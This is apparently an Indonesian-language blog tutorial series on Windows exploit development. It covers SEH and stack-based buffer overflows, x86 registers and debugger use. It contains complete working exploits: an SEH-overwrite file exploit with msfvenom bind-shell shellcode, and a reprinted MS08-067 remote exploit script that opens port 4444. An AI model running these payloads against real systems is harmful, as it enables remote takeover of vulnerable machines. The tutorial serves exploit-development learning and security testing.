Sebelum mengisi buffer yang kita kontrol dengan shellcode, kita wajib memeriksa apakah ada karakter yang ditolak oleh memori proses. Tahap ini sangat penting karena apabila kita gagal mengidentifikasi karakter badchars maka shellcode yang akan kita pakai tidak dapat berfungsi dengan baik. Proses mencari karakter badchars sudah saya jelaskan pada tulisan sebelumnya.

Catatan: Pada saat mencari badchars saya langsung melihat modul eksploit milik Metasploit yang sudah jadi (https://www.exploit-db.com/exploits/17770) dan sebagai referensi, meminjam karakter-karakter yang menjadi badchars, yaitu karakter \x00\x0a\x0d\1a. Namun rupanya shellcode yang dihasilkan dengan msfvenom dan membuang karakter badchars masih belum berfungsi. Saya curiga masih ada badchars yang belum teridentifikasi sehingga merusak shellcode sehingga saya memutuskan untuk mengulangi proses pencarian badchars dan menemukan sisa badchars tersebut. Silakan para pembaca mencari sisa karakter-karakter badchars yang belum teridentifikasi tersebut sebagai latihan 🙂

Finalisasi eksploit

Setelah kita menemukan karakter-karakter badchars kita bisa segera membuat shellcode dengan msfvenom (saya akan menggunakan shell_bind_tcp)

kali@kali:~$ sudo msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d\x1a" -f python -v shellcode

Lalu memperbarui skrip terakhir dan menyimpannya dengan nama 5.py

#!/usr/bin/python

#badchars adalah 00,0a,0d,1a
#msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d\x1a" -f python -v shellcode
#Payload size: 352 bytes
shellcode =  b""
shellcode += b"\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0"
shellcode += b"\x5e\x81\x76\x0e\x80\x4f\x2c\xf4\x83\xee\xfc"
shellcode += b"\xe2\xf4\x7c\xa7\xae\xf4\x80\x4f\x4c\x7d\x65"
shellcode += b"\x7e\xec\x90\x0b\x1f\x1c\x7f\xd2\x43\xa7\xa6"
shellcode += b"\x94\xc4\x5e\xdc\x8f\xf8\x66\xd2\xb1\xb0\x80"
shellcode += b"\xc8\xe1\x33\x2e\xd8\xa0\x8e\xe3\xf9\x81\x88"
shellcode += b"\xce\x06\xd2\x18\xa7\xa6\x90\xc4\x66\xc8\x0b"
shellcode += b"\x03\x3d\x8c\x63\x07\x2d\x25\xd1\xc4\x75\xd4"
shellcode += b"\x81\x9c\xa7\xbd\x98\xac\x16\xbd\x0b\x7b\xa7"
shellcode += b"\xf5\x56\x7e\xd3\x58\x41\x80\x21\xf5\x47\x77"
shellcode += b"\xcc\x81\x76\x4c\x51\x0c\xbb\x32\x08\x81\x64"
shellcode += b"\x17\xa7\xac\xa4\x4e\xff\x92\x0b\x43\x67\x7f"
shellcode += b"\xd8\x53\x2d\x27\x0b\x4b\xa7\xf5\x50\xc6\x68"
shellcode += b"\xd0\xa4\x14\x77\x95\xd9\x15\x7d\x0b\x60\x10"
shellcode += b"\x73\xae\x0b\x5d\xc7\x79\xdd\x27\x1f\xc6\x80"
shellcode += b"\x4f\x44\x83\xf3\x7d\x73\xa0\xe8\x03\x5b\xd2"
shellcode += b"\x87\xb0\xf9\x4c\x10\x4e\x2c\xf4\xa9\x8b\x78"
shellcode += b"\xa4\xe8\x66\xac\x9f\x80\xb0\xf9\x9e\x88\x16"
shellcode += b"\x7c\x16\x7d\x0f\x7c\xb4\xd0\x27\xc6\xfb\x5f"
shellcode += b"\xaf\xd3\x21\x17\x27\x2e\xf4\x91\x13\xa5\x12"
shellcode += b"\xea\x5f\x7a\xa3\xe8\x8d\xf7\xc3\xe7\xb0\xf9"
shellcode += b"\xa3\xe8\xf8\xc5\xcc\x7f\xb0\xf9\xa3\xe8\x3b"
shellcode += b"\xc0\xcf\x61\xb0\xf9\xa3\x17\x27\x59\x9a\xcd"
shellcode += b"\x2e\xd3\x21\xe8\x2c\x41\x90\x80\xc6\xcf\xa3"
shellcode += b"\xd7\x18\x1d\x02\xea\x5d\x75\xa2\x62\xb2\x4a"
shellcode += b"\x33\xc4\x6b\x10\xf5\x81\xc2\x68\xd0\x90\x89"
shellcode += b"\x2c\xb0\xd4\x1f\x7a\xa2\xd6\x09\x7a\xba\xd6"
shellcode += b"\x19\x7f\xa2\xe8\x36\xe0\xcb\x06\xb0\xf9\x7d"
shellcode += b"\x60\x01\x7a\xb2\x7f\x7f\x44\xfc\x07\x52\x4c"
shellcode += b"\x0b\x55\xf4\xdc\x41\x22\x19\x44\x52\x15\xf2"
shellcode += b"\xb1\x0b\x55\x73\x2a\x88\x8a\xcf\xd7\x14\xf5"
shellcode += b"\x4a\x97\xb3\x93\x3d\x43\x9e\x80\x1c\xd3\x21"

file = 'sploit-5.plf'
buf = b'A' * 868
nseh = b'\xeb\x08\x90\x90'  #lompat sebanyak 8 bytes
seh = b'\x94\x04\x02\x64'   #0x64020494 pop edi  pop esi  ret MediaPlayerCtrl.dll
nops = b'\x90' * 16         #NOPsled
sisa = b'\xcc' * (5000 - len(buf+nseh+seh+shellcode))

payload = buf+nseh+seh+nops+shellcode+sisa

f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()

Pada baris ke-44 saya menambahkan NOPsled sebanyak 16 byte supaya ketika instruksi \xeb\x08\x90\x90 (Next SEH) tereksekusi dan lompat sebanyak 8 byte, proses eksekusi akan mendarat di NOPsled untuk memberi jeda sebelum mencapai shellcode. Kita ulangi proses dengan debugger, jangan lupa memasang breakpoint pada alamat SEH di 0x64020494. Picu penanganan kesalahan dengan Ctrl+Shift+F9 dan aliran proses akan mengarah ke POP POP RET. Ikuti prosesnya sampai ke Next SEH. Lalu lanjutkan dengan menekan F7 dan kita akan mendarat di NOPsled.

Proses eksekusi NOP menuju shellcode

Jika dari posisi NOPsled tersebut kita lanjutkan dengan menekan F9 (Run), maka port 4444 seharusnya akan muncul sebagai akibat payload shell_bind_tcp dari shellcode yang kita buat sebelumnya.

Port 4444 terbuka akibat payload shell_bind_tcp

Jika koneksikan ke port 4444 tersebut menggunakan nc, maka:

Koneksi ke port 4444 memberikan akses shell ke target

w00t! Kita berhasil membuat eksploit dengan cara menyiasati SEH.

Literatur tambahan

Jika ingin membaca lebih detail tentang SEH, berikut literatur tambahan yang dapat dibaca:

Referensi

Membangun Eksploitasi Windows Bagian 3: Stack-based Overflow

Pernah kan menggunakan Metasploit atau mengambil eksploit dari Exploit-DB dan menggunakannya pada sistem target lalu penasaran dengan apa yang dilakukan tool atau skrip tersebut? Setidaknya itu yang saya rasakan 10-15 tahun lalu ketika melakukan uji penetrasi, menemukan kerentanan, dan kebetulan menemukan eksploit yang cocok dengan kerentanan yang saya temukan. Setiap saya berhasil mengeksploitasi kerentanan tersebut, tidak jarang pula saya bertanya-tanya apa yang sebenarnya dilakukan tool atau skrip tersebut.

Contohnya skrip eksploit ini:

#!/usr/bin/env python
#############################################################################
#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
#   www.hackingspirits.com
#   www.coffeeandsecurity.com
#   Email: d3basis.m0hanty @ gmail.com
#
# E-DB Note: Exploit Update ~ https://github.com/offensive-security/exploitdb/pull/77/files#diff-5247d21ae6747fa8543ef0ba9c06c0e2
#############################################################################

import struct
import sys

from threading import Thread    #Thread is imported incase you would like to modify
                                #the src to run against multiple targets.

try:
    from impacket import smb
    from impacket import uuid
    from impacket import dcerpc
    from impacket.dcerpc.v5 import transport
except ImportError, _:
    print 'Install the following library to make this script work'
    print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
    print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
    sys.exit(1)


print '#######################################################################'
print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '#   www.hackingspirits.com'
print '#   www.coffeeandsecurity.com'
print '#   Email: d3basis.m0hanty @ gmail.com'
print '#######################################################################\n'


#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"


#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'

#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'


if sys.argv[2]=='1':    #Windows 2000 Payload
    payload=payload_1
    print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2':    #Windows 2003[SP2] Payload
    payload=payload_2
    print '[-]Windows 2003[SP2] payload loaded'


class SRVSVC_Exploit(Thread):
    def __init__(self, target, osver, port=445):
        super(SRVSVC_Exploit, self).__init__()
        self.__port   = port
        self.target   = target
        self.osver   = osver

    def __DCEPacket(self):
        print '[-]Initiating connection'
        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
        self.__trans.connect()
        print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        
        # Constructing Malicious Packet
        self.__stub='\x01\x00\x00\x00'
        self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
        self.__stub+=shellcode
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
        self.__stub+=payload
        self.__stub+='\x00\x00\x00\x00'
        self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
        self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
        self.__stub+='\x01\x00\x00\x00'
        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation
        print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'

if __name__ == '__main__':
       try:
               target = sys.argv[1]
               osver = sys.argv[2]
       except IndexError:
               print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
               print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
               print 'Select OS Version'
               print '[-]Windows 2000: OS Version = 1'
               print '[-]Windows 2003[SP2]: OS Version = 2'

               sys.exit(-1)

current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'

# milw0rm.com [2008-11-16]

Dibuat oleh Debasis Mohanty aka Tr0y, adalah salah satu skrip sakti (saya anggap sakti karena selalu berhasil mengeksploitasi sistem Windows 2000 dan Windows 2003 yang saya temui kala itu) yang selalu saya gunakan ditahun-tahun 2008-2010 ketika proses penetration testing. Yang selalu membuat saya takjub adalah sejumlah kode dan bagian-bagian heksa yang tidak saya mengerti, bisa mengeksekusi perintah sistem operasi dari jarak jauh. Apa yang sebenarnya terjadi? Barisan heksa-heksa itu apa?

Setelah mengikuti pelatihan online dari Offensive Security pada tahun 2010, akhirnya saya memahami maksud dari heksa-heksa tersebut yang sebenarnya adalah shellcode. Heksa-heksa tersebut merupakan kompilasi bahasa mesin dalam bentuk heksa, yang apabila diproses oleh program akan diterjemahkan menjadi rangkaian eksekusi perintah ke sistem operasi. Disebut shellcode karena biasanya mengeksekusi command shell atau perintah sistem operasi yang diwakilkan oleh cmd.exe atau /bin/{ba,z,c,k}sh sebagai interpreter.

Percaya diri saat memahami bahwa proses eksploitasi sebagian besar mengandung shellcode, saya mulai mencari-cari aplikasi yang dapat dijadikan percobaan selain aplikasi latihan pada pelatihan PWB. Aplikasi Batch Audio Converter Lite Edition versi 1.0.0 adalah aplikasi yang pertama kali berhasil dieksploitasi dan pertama kalinya saya membuat eksploit sendiri. Kerentanan buffer overflow pada Batch Audio Converter Lite Edition versi 1.0.0 tersebut waktu itu terbilang unik karena memiliki exception handler yang memicu Structured Exception Handler (SEH) pada Windows XP SP3. Karena menurut saya menantang, saya tetap berusaha mempelajari cara kerja SEH dan mengeksploitasinya. Eksploitnya bisa dilihat disini.

Sejak saat itulah saya memutuskan untuk menenggelamkan diri dalam proses eksploitasi Windows.

Dari Fuzzing menjadi RCE

Pembahasan mengenai fuzzing kurang lebihnya sudah saya jelaskan di tulisan sebelumnya Bagian 2: Fuzzing. Pada pembahasan mengenai fuzzing, kita hanya mengetahui hasil dari fuzzing, namun tidak mengetahui apakah crashnya sebuah program dapat berakibat ke remote command execution (RCE). Untuk menganalisa hal tersebut, kita akan menggunakan program yang sama yaitu PCManFTPD server.

Memahami CPU Register x86

Sebelum sampai pembahasan mengenai hasil fuzzing, akan sangat baik apabila pembaca sudah memahami register CPU pada arsitektur Intel x86. Sebuah CPU berbasis Intel x86 menggunakan 8 register , yaitu: EAX, EDX, ECX, ESI, EDI, EBP, ESP dan EBX. Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang memungkinkan CPU untuk memproses informasi secara efisien.

  • Register EAX, digunakan untuk melakukan perhitungan dan menyimpan nilai balik dari pemanggilan fungsi (function calls). Operasi dasar seperti tambah, kurang, dan perbandingan dilakukan pada register EAX. Khusus operasi lainnya seperti perkalian dan pembagian juga bisa dilakukan di register EAX.
  • Register EDX adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk (membantu) menyimpan data tambahan pada operasi kompleks. Dapat digunakan juga untuk tujuan umum seperti penyimpanan data.
  • Register ECX, juga disebut register count, digunakan untuk operasi perulangan. Operasi perulangan bisa menyimpan string atau menghitung angka.
  • Register ESI dan EDI digunakan untuk memproses loop yang mengolah data. Register ESI adalah sumber indeks (huruf S pada ESI berarti Source yang berarti sumber) untuk operasi data dan memegang lokasi masukan data stream. Register EDI menunjuk ke lokasi hasil operasi data disimpan, atau tujuan indeks (huruf D pada EDI berarti Destination yang berarti tujuan)
  • Register ESP adalah penunjuk ke alamat di memori stack, dan Register EBP adalah penunjuk dasar (base pointer). Kedua register ini digunakan untuk mengatur pemanggilan fungsi dan operasi fungsi/call pada stack. Bila sebuah fungsi dipanggil, argumen atas fungsi tersebut akan didorong ke stack dan diikuti oleh alamat kembali atas fungsi tersebut (return address). ESP selalu menunjuk pada bagian paling atas dari stack (yang merupakan alamat terendah dari memori). Ketika sebuah fungsi selesai dikerjakan, posisi stack akan bergerak “naik” karena sifat stack adalah LIFO, alamat yang disimpan oleh register EBP akan otomatis terpanggil dan program akan kembali mengeksekusi fungsi selanjutnya.
  • Register EBX adalah satu-satunya register yang tidak dirancang untuk sesuatu yang khusus. Tapi bisa dipakai untuk penyimpanan ekstra.
  • Register EIP adalah penunjuk instruksi. EIP menunjuk ke byte pertama dari instruksi selanjutnya yang akan dieksekusi. Kode instruksi disimpan dalam memori, seperti halnya data. Untuk melacak instruksi yang sedang dieksekusi, register EIP menyimpan alamat memori dari instruksi yang akan dieksekusi.

Jika digambarkan, bentuk layout memori pada program kurang lebih seperti ini

Gambaran layout memori ketika program berjalan

Memori Stack bersifat LIFO (last-in first-out) sehingga apa yang didorong ke stack akan bertumpuk (oleh karena itu disebut stack). Ketika sebuah program berjalan, sejumlah alamat atas fungsi akan didorong ke stack menggunakan instruksi PUSH dan diambil dari stack menggunakan instruksi POP. Stack bergerak ke alamat memori rendah.

Gambaran cara kerja program pada stack bisa kita lihat apabila kita mengcompile source code .cpp berikut

#include <stdio.h>
int main() {
   // printf() displays the string inside quotation
   printf("Hello, World!");
   return 0;
}

Sesudah dicompile dengan Visual Studio dengan mematikan opsi Run Time Check (/RTC) dan Buffer Overflow protection (/GS), kita bisa disassemble program hello.exe dengan IDA Freeware dan hasilnya seperti di bawah ini

Hasil disassemble dari program hello.exe menggunakan IDA Freeware

Saya coba jelaskan apa yang terjadi pada stack ketika program hello.exe dijalankan:

push    ebp
mov     ebp, esp
sub     esp, 40h

Bagian di atas sering disebut sebagai prolog bahasa rakitan (assembly). Instruksi pertama menyimpan lokasi base pointer (letak sebuah fungsi bermula) dan mengatur EBP untuk menunjuk pada posisi tersebut di stack. Rangkaian instruksi ini mengatur EBP sebagai stack frame yang posisinya terbentuk di atas stack yang ditunjuk oleh ESP. Instruksi sub esp, 40h menyediakan ruang untuk menyimpan variable yang diperlukan untuk fungsi tersebut. Segala rangkaian instruksi atas fungsi tersebut akan dilakukan di ruang yang telah disediakan oleh stack frame yaitu sebesar 64 bytes (0x40 heksadesimal = 64 bytes).

push     ebx
push     esi
push     edi
push     offset aHello World

Keempat instruksi di atas merangkai parameter yang dibutuhkan untuk memanggil fungsi printf di modul msvcrt.dll. Kalau kita lihat di dokumentasi printf, fungsi ini membutuhkan 2 parameter. Dari semua instruksi tersebut di atas, instruksi push ebx dan push esi memastikan fungsi printf terbentuk, lalu push edi dan push offset aHello World merupakan parameter yang dibutuhkan oleh fungsi printf yang ditandai oleh fungsi call berikut:

call     ds:__imp_printf

Setelah parameter atas fungsi printf terpenuhi, pada jendela stack akan terbentuk seperti ini (saya debug menggunakan OllyDbg):

Kondisi stack ketika akan memanggil fungsi printf

Kita bisa lihat nilai 00000000 pada alamat 0012FEE4 dan 0012FEE8 yang merupakan hasil instruksi dari push ebx dan push esi. Ketika call ds:__imp_printf selesai diproses, instruksi selanjutnya yaitu

add     esp,4
xor     eax,eax
pop     edi
pop     esi
pop     ebx
mov     esp,ebp
pop     ebp
retn

Instruksi add esp,4 melakukan penyesuaian terhadap stack akibat dari eksekusi instruksi sebelumnya (biasanya instruksi-instruksi menyebabkan berubahnya posisi ESP sehingga penyesuaian otomatis dilakukan oleh program dalam bentuk bahasa mesin). Lalu instruksi xor eax,eax menghasilkan nilai kosong pada register EAX.

pop     edi
pop     esi
pop     ebx
mov     esp,ebp
pop     ebp
retn

Rangkaian selanjutnya dapat kita lihat bahwa instruksi-instruksi tersebut hanya kebalikan dari instruksi awal pada saat prolog. Instruksi POP berarti menarik nilai yang ditunjuk pada stack bagian atas dan menaruhnya di register. Rangkaian instruksi ini diperlukan karena sebuah fungsi harus kembali ke posisi semula atau selesai.

Memori Heap bersifat FIFO (first-in-first-out) dan berbeda dengan stack, sederhananya heap adalah bagian dari memori yang dialokasikan secara dinamis (biasanya dialokasikan menggunakan malloc). Memori yang dialokasikan dari heap akan tetap dialokasikan sampai sebuah memori dibebaskan (free) atau program tersebut selesai (exit). Ketika semua referensi penunjuk ke memori yang sudah dialokasikan hilang, kondisi ini biasanya disebut sebagai bocornya alamat memori atau sering disebut sebagai memory leak. Alamat memori yang bocor tidak dapat digunakan kembali namun dapat menjadi referensi untuk lokasi yang diinginkan, contohnya untuk memastikan bahwa sebuah alamat selalu memiliki referensi yang permanen dalam rangka melewati proteksi ASLR, bocornya alamat memori sangat membantu untuk menghitung lokasi yang tepat untuk mencapai lokasi yang diinginkan.

Sedikit cheat sheet terkait memori:

  • Pada mesin Intel x86 , alamat pada memori disimpan secara little-endian (disimpan terbalik). Misalkan kita mengirimkan karakter ABCD (0x41424344) maka pada memori akan tersimpan sebagai DCBA (0x44434241).
  • Pada mesin 32 bit, alamat memori berawal dari 0x00000000-0xFFFFFFFF
    • Userland/space pada alamat 0x00000000-0x7FFFFFFF
    • Kernel land/space pada alamat 0x80000000-0xFFFFFFFF
    • Kernel land/space hanya bisa diakses oleh sistem operasi
  • Ketika proses terbentuk, Process Environment Block (PEB) dan Thread Environment Block (TEB) juga terbentuk
  • PEB berisi semua parameter yang terkait dengan proses saat ini
    • Lokasi executable utama
    • Penunjuk ke data yang dimuat (modul yang sedang digunakan)
    • Informasi tentang heap
  • TEB menjelaskan status thread, dan termasuk
    • Lokasi PEB dalam memori
    • Lokasi stack dan threadnya
    • Penunjuk ke structured exception handler (SEH)

Tampilan debugger

Debugger yang biasa digunakan adalah Immunity Debugger, Olly Debugger, dan Windows Debugger. Pada seri tulisan ini kita mungkin akan menggunakan ketiganya karena beberapa kelebihan yang ditawarkan masing-masing debugger.

Bagian ini akan menjelaskan bagian-bagian dari debugger yang kurang lebih memiliki tampilan yang mirip (kecuali Windows Debugger yang perlu sedikit kustomisasi).

Tampilan Olly Debugger

Tampilan debugger di atas akan menjadi tampilan yang akan sering dilihat selama membaca seri-seri tulisan ke depannya 🙂

Stack-based overflow proof of concept

Untuk memahami bagaimana stack overflow terjadi, kita akan menggunakan source code C berikut.

#include <stdio.h>
#include <string.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Halo %s\n", buf);
}

int main(int argc, char *argv[])
{
   func(argv[1]);
   return 0;
}

Pada source bahasa C di atas kita bisa melihat fungsi func menerima masukan dari argv. Fungsi func memiliki ukuran panjang maksimal 100 bytes (buf[100]) lalu terdapat fungsi strcpy yang menyalin variable name (yang merupakan masukan bagi fungsi func) ke variable buf. Lalu fungsi printf menampilkan masukan yang diberikan terhadap program.

Sebagai catatan, fungsi strcpy sudah tidak boleh digunakan kembali dan digantikan oleh StringCchCopy (MSDN: https://docs.microsoft.com/en-us/windows/win32/api/strsafe/nf-strsafe-stringcchcopya)

Saya mengcompile source C di atas menggunakan DevC++ 5.1.1 dengan TDM-GCC 4.9.2 32-bit pada mesin Windows 10 Enterprise Edition (WinDev2004 Eval) lalu menjalankannya.

Hasil compile stack-test.c

Ketika program berjalan, berikut yang terjadi pada stack

Karena panjang yang diperbolehkan hanya 100 bytes, bagaimana jika panjangnya melebih 100 bytes? Kita akan melakukan debugging pada program tersebut dan melihatnya melalui debugger OllyDbg.

Buka program tersebut dengan Open, pilih program stack-test.exe lalu pada kolom Arguments, isikan dengan karakter A sebanyak 100 karakter lalu tekan Open. Setelah terbuka, tampilannya kira-kira akan seperti ini.

Tampilan stack-test.exe melalui debugger

Untuk melakukan breakpoint pada alamat tersebut, pilih alamat tersebut lalu tekan F2 (alamat akan berubah warna). Untuk melihat proses eksekusi instruksi CPU terhadap program, kita bisa melihatnya dengan menekan F7 (step into). Untuk melewati/bypass sebuah CALL instruction kita bisa menekan F8 (step over).

Pada tahap ini, kita bisa melihat proses fungsi strcpy menyalin hasil masukan ke variable buf. Tekan F7 sampai di alamat 00401516 CALL <JMP.&msvcrt.strcpy> lalu tekan sekali F7 sekali lagi pada alamat tersebut. Kita dapat melihat pada jendela stack di kanan bawah, parameter untuk memanggil fungsi strcpy terbentuk.

Fungsi strcpy siap dipanggil di stack

Fungsi strcpy membutuhkan 2 parameter, dest dan src. Pada source C di atas, dest diwakilkan oleh variable buf, dan src diwakilkan oleh masukan yang diberikan sebagai parameter ketika memanggil program stack-test.exe dan diwakilkan oleh variable name. Dapat kita perhatikan bahwa dest berisi sebuah alamat 0x0061FE1C yang bisa kita lihat lokasinya yang ditunjuk oleh tanda panah. Ketika fungsi strcpy selesai dipanggil, alamat 0x0061FE1C akan berisi 100 karakter A seperti terlihat pada gambar berikut

Kondisi stack setelah fungsi strcpy dipanggil

Kita lanjutkan sampai instruksi RETN pada alamat 0040152F setelah itu pada jendela stack, kita scroll keatas sedikit untuk melihat bahwa karakter A yang dikirimkan sebanyak 100 bytes masih belum menimpa alamat RETN yang berarti kondisi ini belum menyebabkan stack overflow.

Instruksi RETN belum tertimpa dengan karakter A

Pada kondisi di atas, yang sebenarnya terjadi dapat digambarkan pada diagram berikut:

Kondisi di atas belum menyebabkan stack overflow. Untuk memicunya, kita perlu memastikan nilai EIP terisi oleh buffer yang kita kontrol, dalam hal ini masukan sebagai parameter yang kita kirimkan harus dapat nimpa EIP. Karena EIP merupakan instruction pointer maka apabila kita menimpa EIP dengan buffer yang kita kontrol, maka posisi RETN di atas akan kembali ke alamat yang tidak ada (karena kita memberikan buffer yang tidak mengandung alamat, yaitu karakter A), namun apabila kita bisa menentukan secara tepat di karakter ke berapakah EIP tertimpa oleh buffer yang kita kontrol, maka kita bisa mengambil alih aliran aplikasi.

Sampai saat ini kita mari kita coba mengirimkan karakter A sebanyak 200 karakter, lalu kita inspeksi kondisinya.

Kondisi EBP tertimpa dengan buffer

Setelah diulangi dengan penambahan 100 karakter A, terlihat bahwa nilai EBP yang disimpan di stack (untuk mengembalikan posisi prolog ke asal) sudah tertimpa dengan karakter A ditandai dengan instruksi LEAVE.

Instruksi LEAVE sama dengan rangkaian:

mov     esp,ebp
pop     ebp

Ketika instruksi LEAVE tereksekusi, maka posisi ESP menunjuk ke posisi EBP yaitu 0061FE88 yang telah berisi karakter A. Setelah LEAVE tereksekusi, instruksi selanjutnya adalah RETN yang ditunjuk oleh EIP. Instruksi RETN berarti kembali ke stack dan alamat ESP pada 4 bytes berikutnya adalah 0061FE8C, juga sudah tertimpa dengan karakter A.

EIP akan menunjuk ke alamat yang tidak ada

Akibatnya EIP akan berusaha mengeksekusi alamat memori yang tidak ada (41414141) dan mengakibatkan korupsi memori (memory corruption).

EIP mengeksekusi alamat yang tidak ada.

Jika kita gambarkan lagi dalam bentuk diagram, maka akan terlihat seperti berikut

Diagram setelah stack overflow

Setelah kita berhasil membuat stack overflow, kita bisa mengambil alih aliran aplikasi dengan cara mengisi EIP dengan alamat memori yang kita inginkan. Secara singkat, apabila kita berhasil menguasai EIP berarti kita sudah menguasai program tersebut. Kondisi ini yang disebut sebagai stack-based overflow.

Eksploitasi PCManFTP Server

